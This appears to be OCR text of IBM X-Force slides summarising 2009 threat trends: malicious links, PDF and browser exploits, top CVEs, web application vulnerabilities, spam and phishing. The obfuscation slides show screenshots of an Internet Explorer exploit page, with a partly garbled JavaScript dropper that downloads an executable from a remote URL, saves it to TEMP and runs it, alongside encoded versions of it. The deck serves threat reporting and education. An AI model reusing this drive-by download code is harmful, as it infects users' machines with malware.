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X-Force R&D

Unmatched Security Leadership
A — .| 9.1B
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analyzed Web pages & images
The mission of the

IBM Internet Security Systems™

X-Force® research and 40M  spam & phishing attacks
development team is to:

150M intrusion attempts daily

48K documented vulnerabilities

Research and evaluate threat and protection issues Millions of unique malware samples

Deliver security protection for today’s security problems

Develop new technology for tomorrow’s security challenges Provides Speciﬁc Ana]ysis of:

Educate the media and user communities = VVulnerabilities & exploitS
Malicious/Unwanted websites
Spam and phishing

Malware

Other emerging trends
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Integrated in IBM’'s WW R&D
X D Zurich

* Vulnerability Discovery * Cryptographic foundations
* Vulnerability Analysis * Java cryptography
Almaden * Malware Analysis * Privacy technology
* Cryptographic * Threat Landscape Forecasting  * Multiparty protocols
foundations * Protection Technology * IDS & alert correlation

* Secure government Research

: * Smart card systems and

workstation * Security Content and Protectio application
TJ Watson (Hawthorne) T Ikyo
* Cryptographic foundations e
* Internet security & "ethical hacking” Haifa _ * D'gt'tal "
* Secure systems and smart cards * PKI New Delhi . \)/(vlafrmar Tg
* IDS sensors & vulnerability analysis enablement * ngh-performance* VLSI?sfl(J::I yto
* Secure payment systems * TI;)liliS('JtieS * ﬁ:rygtograghlc yp
* Antivirus P ss;tv\\;va?ree
* Privacy technology
* Biometrics
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X-Force Database

 Most comprehensive
Vulnerability Database in
the world

— Over 48,000 unique

vulnerabilities catalogued

— Entries date back to the
1990's

dedicated research team

PUBLIC PRIVATE
RESEARCH RESEARCH

HONEYNET

 Updated dalily by a

XFDB
e The X-Force database
currently tracks over...
— 8000 Vendors
— 17,000 Products

I
— 40,000 Versions

AN Y ____ 2. ..
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X-Force® R&D drives IBM’s Security
Innovation

Research  Technology ~ Solutions

' X-Force Protection Engines
Original Vulnerability
Research

Public Vulnerability
Analysis

Malware Analysis

= Extensions to existing engines
= New protection engine creation

X-Force XPU’s

= Security Content Update
Development
= Security Content Update QA

X-Force Intelligence

= X-Force Database
= Feed Monitoring and Collection
= Intelligence Sharing

Threat Landscape
Forecasting

Protection Technology
Research

The X-Force team delivers reduced operational complexity —
helping to build integrated technologies that feature “baked-in” simplification
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The Evolution of Protection
Technology

2009
. Integrated Virtual Protection
. Web Protection Technology
@ 1B Proventia® Content Analyzer
. Shell Code Heuristics
. Malmedia (Malicious Multimedia)
. Content Level Inspection

. Protocol Analysis

<
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IBM X-Force Security Leadership

X-Force Trends Report

The IBM X-Force Trend Statistics Repo
aspects of threats that affect Internet se
http://www-935.ibm.com/services/us/iSs

X-Force Security Alerts and Advisori
Only IBM X-Force can deliver preempti
commitment to research and developm
Find out more at http://xforce.iss.net/

X-Force Blogs and Feeds
For a real-time update of Alerts, Advisor
to the X-Force RSS feeds. You can sub
advisories feed at htip://iss.net/rss.php
http://blogs.iss.net/rss.php

X- Force Threat Analysis Service
Stay up-to-date on the latest threats cu
http://www-935.ibm.com/services/us/ind



http://www-935.ibm.com/services/us/iss/xforce/trendreports/�
http://xforce.iss.net/�
http://iss.net/rss.php�
http://blogs.iss.net/rss.php�
http://www-935.ibm.com/services/us/index.wss/offering/iss/a1026943�
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Report’s Main Results

* People are main target
 New malicious Web links have skyrocketed
e Phishing increased dramatically in 2H 2009.

* Vulnerability disclosures for document
readers and editors continued to soar,
specifically PDF.

AN ____ 2. =
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Koobface Worm: Facebook Infection

 Message with misspelling

 Land on video site
suggesting an update

« Virus warning for further
download

Adobe Flash Player Update

This content requires Adobe Flazh
Player 10.27. Would you like to install it
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Where are Malicious URLS?

Top Web Site Categories Containing 10 or More Malicious Links
2009 H2

“Pornography” or “Erotic/Sex” Sites
“Gambling/Lottery” Sites
“Search Engines/Web Catalogs/Portals” Sites
“Personal Homepages” or * Communication Services™ Sites
“Blogs/Bulletin Boards™ Sites
“llegal Drug” Sites

“News/Magazines™ Sites -

“Dating” Sites _

“Anonymous Proxies” Sites .
“Computer Games” Sites l

ov- I—

0% 5% 10% 15% 20% 25% 30%

Source: IBM X-Force®
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Be Careful!

Top Web Site Categories Containing at Least One Malicious Link
2009 H2

“Personal Homepages” or * Communication Services™ Sites
“Pornography” or “Erotic/Sex” Sites
“Blogs/Bulletin Boards" Sites
“Search Engines/Web Catalogs/Portals™ Sites
“Gambling/Lottery” Sites [N
“Education” Sites [
“Shopping” Sites -
“News/Magazines” Sites [l
“Computer Games” Sites .
“lllegal Drug” Sites ]
“Dating™ Sites l

“Anonymous Proxies” Sites I

ove: |

0% 5% 10% 15% 20% 25% 30%

Source: IBM X-Force®
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Browser and PDF Exploitation

Browser and PDF Exploitation
Source: IBM Managed Security Services
2008-2009

Detailed View
500,000 ——— 30,000 i

450,000 ——— 20,000

B ActiveX
PDF
| M Internet Explorer
I Firefax

400,000 —— 10,000

350,000 0

300,000 -

250,000

200,000 -

150,000 -

100,000

50,000 -

! ! ! ! ! 1 i : | i i i 1
Jan Feb  Mar  Apr  May  Jun Jul Mg Sep Ot Nov Dec | Jan Feb Mar Apr  May  Jun Jul Alg  Sep  Oot Nov  Dec
2008 2009

Source: IBM X-Force®
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Most Popular Exploits

Top Five Web-Based Exploits

Rank 2009
1. Microsoft Office Web Components

Spreadsheet ActiveX (CVE-2009-1136) 2 OO Iat
2. Adobe Acrobat and Reader

Collab.CollectE-maillinfo (CVE-2007-5659)

3. Adobe Acrobat and Reader util.printf() (CVE-2008-2992)
4. Adobe Acrobat and Reader Getlcon() (CVE-2009-0927)
5. Adobe Flash Player SWF Scene Count (CVE-2007-0071)

AN ____ 2. e
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Disclosures

Vulnerability Disclosures 2006

2000-2009 e 6’803 vulnerabilities

8,000 e +41.0% over 2005

7,000

2007
e 6’437 vulnerabilities
e -5.49% over 2006

6,000

5,000

4000 —

3,000

2008
e 7'406 vulnerabilities
e +13.5% over 2007

2,000 —

1,000
0
2000 2001 2002 2008 2004 2005 2006 2007 2008 2009 2009

e 6’601 vulnerabilities
-10.87% over 2008

AN Y ____ R
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Web Application Vulnerabilities

Percentage of Vulnerability Disclosures Web Applications Platforms*
that Affect Web Applications Vulnerabilities in Plug-ins Versus the Base Platform
2009 2009
Web Applications: 4% —\ [ Others: 51% Bl Apache [ wordpress [llPrP [l Tvros [l soomiat [l Drupal

* Web Application platforms with 20 or more vulnerabilities in 2009

500
450 - Platforms:
19%

400
- A
300
250 —
200 81%
150 —
100 ]

50 ]

a— a ————— :
Platforms Plug-ins
Source: IBM X-Force® Source: IBM X-Force®
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Readers & Multimedia

Critical and High Vulnerability Disclosures

Critical and High Vulnerability Disclosures Affecting Multimedia Software

Affecting Document Readers and Editors 2007-2009
2007-2009
: W Cther Multimedia W Wicrosoft Multimedia Realletwarks
Microsoft Office [l Adobe Acrobat or Reader [l Other Applications Components RealPlayer
0% ' . 100 B Adobe Flash M Cizco Webex Apple Quicktime
80% — — 80
TO0% -
{- a0 5 [ =
E 60% % o 70 g:
Lt [=]
E 50% 2 8 60 £
]
I = ) o
o A0% — S 50 %
£ © -
g 30% — i 40 g
o [= o
E 20% : % g
Poc o B
10% &
10
0%
2007 a

2007 2008 2009

Source: IBM X-Force®
Source: IBM X-Farce®
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Obfuscation

Obfuscated Web Pages and Files
Source: IBM Managed Security Services
2008-2009

8,000,000

6,000,000

4,000,000

2,000,000

Source: IBM X-Force®
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ODbfuscation

ebfuscate' IEexploit_i nal0day_after2.htmli]
. File Edit Search Wiew Tools Macros Configure  ‘Window Help

=10l x|

== x|

IEECIEEEC T T

- qh|

. e ) |k?

function Gofa) {
Logf '&nbsp: ')
war = = Createlia, "WScript Shell"):
wvar o CreateC(a, "ADODE. Stream"):
Tar e =. Environment { "Process"):
Logf '&nbsp: ')
war url "http:/“www. arunalu net-wini2 sx="
war =ml null;
rar bin e. Iten{"TEHP") + "windn=32 ex=":
war dat;
try { =ml=new XMLHttpReguest{). }
catchie) {
try { =ml = new ActivelObject("Hicrosoft XMLHTTE"): I
catchie) {
#ml = new ActiweXObject("HMSEMLZ? ServerXMLHTTE"):
H

1f {1 =ml) return(l):
Logf '&nbsp: ')

Zml . open{ "GET". url. false):
zZnl . sendinull);

dat = =ml. respons=eBody:
Log('énbsp. '}:

Type = 1:

Mode = 3

Openi):

Write{dat);
.SaveToFile(bin. 2):
Log{ 'amb=sp: ') ;
=.Runi(bin, 0}

oo0oooo

1

function Exploit()
war 1 = 0;
ECYE-47E1-9322-D4A210617116} "', '{0006F033-0000-0000-C000-0000000000463°

FCFDF33E833CY' . '{7FSB7F63-FO6F-4331-8A26-339E03C0AEID} ", '{06723E09~
F4C2-43c8-8358-09FCDIDBO766]} ", ' {639F725F-1B2D-4831—

B4AO0-20F5SAL1FABLO} ", "{ESCCCDDE-CAZ8—-496b-B050-6C07C962476E} ' . null):
while (t[i]) {

J;I

wvar t = new Arrav('{BD96CESE-65A43-11D0-983A-00C04FC29E36} ', ' {BDI96CE556—-65A3-11D0-983A-00C04FC29E36}"
. ' {0006F034-0000-0000-
Cooo-0ooooooo004e6}' . '{6e32070a-766d-4ee6-079c—dclfa%1d2fc3} ', '{6414512B-B978-451D-A0DS—~

ASFD-874847682010}" . '{BAOD1BE99-1DB3-44f9-83E4-461454C84BF8} " ' {DOCO7DEE-FCRI-43F 1~

[ 1 [Read [Ov [Block [Sync [Rec [Caps

' {AB9ECEDD-

=

v

ANy W
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Obfuscation

€. TextPad - [F:'webfuscate’,JEexploit_originalDday_after1.html] - |EI|1|
Filz Edit Search View Tools Macros Configure  Window Help -1Bl=lLio x|

lozw|aarnE @ 2@ = TDY LR RSB 181X

Hocument . write{unescape( '%3ckE8%74%6d%6c% 3% LRElxedX e 3ok Y4509 74X e 8k 3ek o2 X746 9574 6cE5%3e" 1) f—
document  writef{unescape( '%3ckY IL63ET2HNE9ET 0 CHE1%EeXE PRI ENE 1A THE LN Ad% 2 2K E6a%E 1N TEXE 1 X7 INAIRTIXA IR TOXTAX2 2xIe 2
document  writef{unescape( ‘%6657 R0k 374569 05dcxe X672 8Xed% 29520570 1) ‘l
document  write{unescape] 'Z0957656157 2020560k 053d%2 0% 456 {6357 ENedRAENbek 74N 2ekb 37 200561574565 408XAckAEXAd?

5
a
a

-

document  write{unescape( 'Z0956ckb X6 7H2aRE 920 E72048554n4d 4203520564530 ) ) :
document  writef{unescape('%7d')):
documnent  write{unescape] 'HMAEHTLNAeNE 3TN ANEE KA 20K 3N T 2HA0RE 1T AMAEHAf M2BHAf X2k 20KEek 295 20%7h " 1) ;

docunent  write{unescape( X097 1L7 2205721205 3d% 2050275 b0 3b" ) )

documnent  write{unescape( '%09"'));

docunent  write{unescape( X097 4% 20T O 20N B2 0RA 0N ToRA LA 28X 2 TR 2R 20K 3dN 20X E X 2ekd 3K Y 230 HA 1 TARA A A 2Hbak A 0HE 3F
docunent . write{unsscape( '%09"'));

documnent . write{unsescape( '¥09509500K20H20X21H20ET7 22920570 ) ) ;

document . writef{unescape( 'HX09509% 7457 279N 20X ThE 2 0XE R P EXEe 1Ay 28 2PN 72X 205 3dR20X6 £ 2eXd 3T 2RE SR 1 R P ANG R M6 2K 6aKE 5!
docunent . write{unescape( '%09%7d' ) );

docunent . write{unescape( '%09"'));

docunent  write{unescape( %0956 9X66%2 X282 1K20%72529%20%7b" ) )

document  write{unescape( 'H09509%7 457 20795200 7hE 2 06 ERT6XE 1A 282757 20205 3dE 206 £ 524 357 2R 551 KT 4004 6 2KAakE 5!
document  writef{unescape( '%09%7d')):

docunent  write{unescape( X096 A0 0K20X21H2057 22952070 ) )

document  write{unescape( 'H09H09T4ET 20T O 20N ThE 2 0MEER T OO 1A 2B 2T T 2H 20N 3dE 206 £ 2aekd T AN T A4 KA 20 ak A RHE 3K T 428!
document  write{unescapel ‘309574 1) ;

documnent  write{unescape( '%09"'));

documnent . write{unsescape( '¥09509500K20H20X21H20ET7 22920570 ) ) ;

document . writef{unescape( 'H09X09% 7457 279N 20X 7hE 206 R P EXE 1oy 28 27N 72X 205 3d5 20X E 5 2eXd P AR T A4 E ME 2 0ak 6 S e 37 40281
docunent . write{unescape( '%09%7d"' ));

docunent . write{unsscape( '%09"'));

document  write{unescape( '%09%6 956052 MX28X21H2057 252920570 1)
document.write(unescape('ZDQZD92?4%?2%?9%2DX?bZ2DZE52?6%61%60%28%2?Z?222DZ3dZ2DZSf22324?2652?424f%62%6a%65%632?422$
document  write{unescape( '%09%7d"' ) )

docunent . write{unsescape( '%09")):

docunent  write{unescape( ' M09X7 256007470726k 28X7229%3bX09 ")) ;

document  write{unescape( '%7d")):

document  write{unescape( 'XAEHTENAeRE 3TN ANEE KA 2 0KA 7RO H2ARE1H29H20HTR" 1) —
documnent  write{unescape( ' X09MdckbE A THEEN I THEEHEENB 2K T INTONIBN2TH29M3b" 1)

documnent  write{unescape! 'X09E7AXELIHT 2H20HY 320K 320K 37 2HA0HA 1N P AR AL M2 BN 1N 2k 20X 230 7RO INA3H T 2HA 9NV 0X 74K 2enE 3
document . writef{unescape( 'H09X7 X6 1N 2020563205 3dx 2054357 256050 17 ANeE A I M 28012k 20X 2 254 154454 M A4x 4 25 2e B 37407 20
document . writef{unescape( X098 7 X6 1N 2020565205 3dx 2057 3% 2ekd0xeek P EXEe 9N 7 26 Kok ed 6 L Xeek PANZ B 225007 256 £ e 36517 31
docunent . write{unsscape( '%09"')); )
document.write(unescape('ZD924026f26?228%2?2262682622?3%?023b%2?22923b')); -
document  writefunescape '%Z09%765A1%72520%78K7 250205 3d%20%2 208X T A% 74X T 0% 3a% 2t X2 £ X7 7R PRI TH2eka 1 %7 2570 %6ekb 15675
docunent . write{unescape( '%09%76%61%572X20%78X6d%6cX20%3d%20%6ex?8X6ckbc%3b" ) )

docunent . writefunescape( ' %09576X6 157 25206269562 053d% 20565522495 7456556052 8%2 25545 454d 805225295205 2bk2 05221772
docunent  write{unescape( '%0957656157 252056461 %7453b%20" ) :

document  writef{unescape( '%09')): =~

I4I I »
[ [ [ Read [Owr [Black [Sync [Fec [Caps v |
k

LILI
[ 1 Read [Ow [Block [Syne [Rec [Caps =
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ebfuscate',IEexploit_originaloday_before.html *] o ] P |
i=| File Edit Search “iew Tools Macros Configure  ‘Window Help _|5’|l| gﬂ

N 8ERE | 'eB|o2 (=222 QU 4R @R o » K2

‘zcript language="javascript':
var alfabet="ABCDEFGHIJKIMNOFORSTUVYEYZabodefghi jklnnopgrstuvweyz 0123456789+ ="

function funkcjafarg) [t
{ J ‘l
war al='"', aZ, a3, ad, ab, ab. a7, aB. a%=0:; ds

ol x|
L= x|

—

[
[x

]

arg=arg.replace( [ "A-Za-zl-9~+~~~=1rg, ''):

do {
ab=alfabet . index0f {arg. charit{a9++)): 3
at=alfabet  index0f (arg. charit{a9++)]:

a7=alfabet  index0f {arg. charit(ad9++)): —
af=alfabet  index0f {arg. charit(ad%++)): ek
a2={ab << 2) | (ab »» 43

some_shit=((ab & 15) << 4) | (a? »> 23
ad=((a? & 3) << 6) | aB: 52
al=al+String. frDmCharCDde(a2)

if (a?l=64) al=al+String. {romCharCode(=omns | 1 a:_
1f (aBl=64) al=al+String. fromCharCode(ad);

h
while (a9<{arg. length): 8

docunent . writed(all:

{Sa=cript

<body onload=
"funkoja( 'Z2E97dV11lbn0ud 3T pdGlodWE Le2WheG ol yle Yy T20CT SHCT 2202 ¥y T 250 Yy U 20CT 2SI 2MS T2 NC Tz 25Uz Yy T IHCT 2050 3NCT 2 Y U 2H —
SUzZSUz Yy Uy ZiUIHCT 205U 3HCT 2 Yy U2HSTzZ25cpKT=KZG97dW1 L bnoud 3 JpdGTodWa lc2RheGlo vz Yy T3y 2 My T3 iU 205U 3HCT IHC T v MCT 2 Y w12
HSU2ZSU2HwT3NSU2HS T 2Ny U2 HS U= ZCUyHi T2 ST 2 HSU AN U2 HS T 3 My U2 My T 3Hi U205 3HCUSHC w1 Uz X SepE TeKEG9 AW 1bnQud 3T pd GlodWE 1o2H 3z
heGUa w21 T3NSU2ZSU 2y U3NCT 20502 Z1 T2 25Uy HC IOV U221 U2 Hy Uy OC T 220Uy 0SS Ty HCU 3 YicpK TsKZG 9 7AW 1 bn(ud 3T pd GUadWS 1 o2 HheGUad v 23
TyOSUIHiTZHST M UM T2 ¥ U2 T U2 Hy e HC Uz ZCUwHC U 2HC U 2 Z i U2 My T3NSI 2 ZCU 2 NS 2 ZSU3NC Ty 28U 2 My T A U2 NS 2 HSU S HC T 2HSUONST 2 Ve U 2H 3z
SU2ECT2ZNST 2 25N CyOC Ty Nyl IHC vy Uy 0S¥ i cpETsKZG9 W1 1bnQud 3T pdGUadWE 12 HheG eI yUn OS2 Ty U 2 Zi U2 Hy Uy ZST 205U 225U 2250 2
HST3MiT00OCTIHCT0ZCT0Y vy Uy MC = 20Uy MC T 220Uz Y icpkTekZG9 1dW1 1 bnQud 3T pd GlodWE 1o 2WheGlod yU 32Cepk TeR2G9 54V 1 bnoud 3 JpdGUadW s DD—
L2 HheGloJ vy 2 i T3NSI 2 25T 2y T aNCU 205U 2 21T 2 250w MC T O My T2 M i T2 NS 2HST 3HC T 2HST0Z i Uyl 2 21 Uy ¥y Iv HC U 2Z5TwOSUyHCT 3 Vi cpKT=EZG g2
93dW11bnQud3IpdGlodWs 1 2 HheGUol v UwOSU A1 T2HSU 3M 1 TyHCU 3M1 Uy Oz ZC Uy HCT 2ZS T ARSU 2 Yy U 2 ¥y Uz VicpKTsKZG9 dW1 1bnQud 3T pd GUod

J-Tflc2thGUDJwaOScpKTsKZG9jdHllanudBdeGUodHElc2thGUDJwaOSUBNCUBHiUBOSUyHCUSYiUyHCU2NSUBNiU2HSU2YyUyOCUyNyU3Hin >|p7:
4 b

| [z | 15 Read [Dwr [Block [Syne [Rec [Caps 4_>|_|
[ [ [ Read [Owr [Black [Sync [Fec [Caps v |
k

LILI
[ 1 Read [Ow [Block [Syne [Rec [Caps =
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Spam

Types of Spam Top 10 Domains Used in Spam
2008-2009 Spam Domains vs. Trusted Domains
2008-2009
m Image . Plain Text . HTML ‘
L Il Spam Domains ~| Trusted Domains
100%
100%
90% —
90%

80%

70%

T0%

60%

60%
50%
S0%
40%
40%
0%
30%
20% -
20%
10% —
10%
0%

0%

2008 2009

Source: IBM X-Force® Source: IBM X-Force®
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Phishing

Phishing Volume
April 2008-December 2009

Saurce: IBM X-Farce®
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Targets by Industry

Phishing Targets by Industry
2009 o
Phishing Targets by Industry

Others: 09% 2009 per Quarter

Online Payment: 6.7% —\ [Auctions: 7.3%

B Auctions Financial Institutions Il Online Payment

Governmental —\ B Credit Cards | Governmental Organizations [ Other

Organizations:
204%

Ve Credit Cards:

3.8%
100% |

90%

80%

0%
B0%
50% —
40%
30%
20%
10%

0%
609%

Source: 1BM X-Force®

Source: |IBM X-Force®
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Conclusions

 Beware of a false sense of security
e Better patching from vendors but no for plug-ins

e +50% vulnerabilities in readers and multimedia

appl.
e Malicious web link have increased by 345%

 Web applications are most vulnerable (67% no
patch)

 |Increased use of obfuscation
 Spam is mainly URL based

* Phishers are diversifying from the financial
Industry
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